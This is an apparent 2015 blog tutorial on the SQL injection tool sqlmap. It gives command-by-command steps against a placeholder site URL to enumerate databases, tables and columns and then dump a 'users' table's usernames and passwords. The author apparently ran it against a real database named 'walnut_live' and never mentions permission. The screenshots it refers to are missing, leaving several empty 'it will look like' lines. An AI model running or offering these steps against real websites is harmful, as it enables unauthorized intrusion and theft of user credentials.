Πέμπτη 8 Ιανουαρίου 2015

what is sqlmap and how to use it

How to install nmap check Here
The sqlmap is open source program that automates find and exploit SQL Injection vulnerabilities type databases. It comes with a strong recognition engine vulnerabilities, many specialized features for the ultimate penetration tester as with a large range of options starting from the recognition of the database, downloading data base, up to access deeper file system and execution directly in the operating through out of band connections.

use

To view a basic list of options press:

python sqlmap.py -h

To get a list of all the options press:

python sqlmap.py -hh



./sqlmap.py -u www.website.com/index.php?id=13 --dbs    <= Example!
 it will look like:
then we will get the Databases names like:
now we will ask for tables from any of those databases with --tables
now we have to select the database with "-D" and ask for the tables with "--tables" :)
so we will type:
./sqlmap.py -u www.website.com/index.php?id=13 -D database_name --tables
I choose walnut_live database so I typed:
 and the results will be the tables name of course :P
it will look like:
now we got the tables and found the users table!!
now we will select this table by "-T" command and ofcourse we already selected our database, so now we will write the same command, but we will replace "--tables" and put "-T" table_name which is "users" table and then ask for the columns inside that table by "--columns" command it will be like
./sqlmap.py -u www.website.com/index.php?id=13 -D database_name -T table_name --columns
it will look like:
 now we will get the results, the columns
they will come like this:
as you can see we got "id, pass, and user" columns
now we want the data from them so we will dump the data :P with "--dump"
but in this one we have two ways to get them..
we can dump all the data at once, Or select the column and get the data from
I will show you how both of them look like and used..

first we can get all the data by this command:
./sqlmap.py -u www.website.com/index.php?id=13 -D database_name -T table_name --dump
which will get us all the data at once and will look like this:
 and the result is:
In the picture I marked the user and pass :)
now we will try getting them one by one with this command:
./sqlmap.py -u www.website.com/index.php?id=13 -D database_name -T table_name -C column_name --dump
for example I will get user and pass:

User::

 result::
pass::
result::


Δεν υπάρχουν σχόλια:

Δημοσίευση σχολίου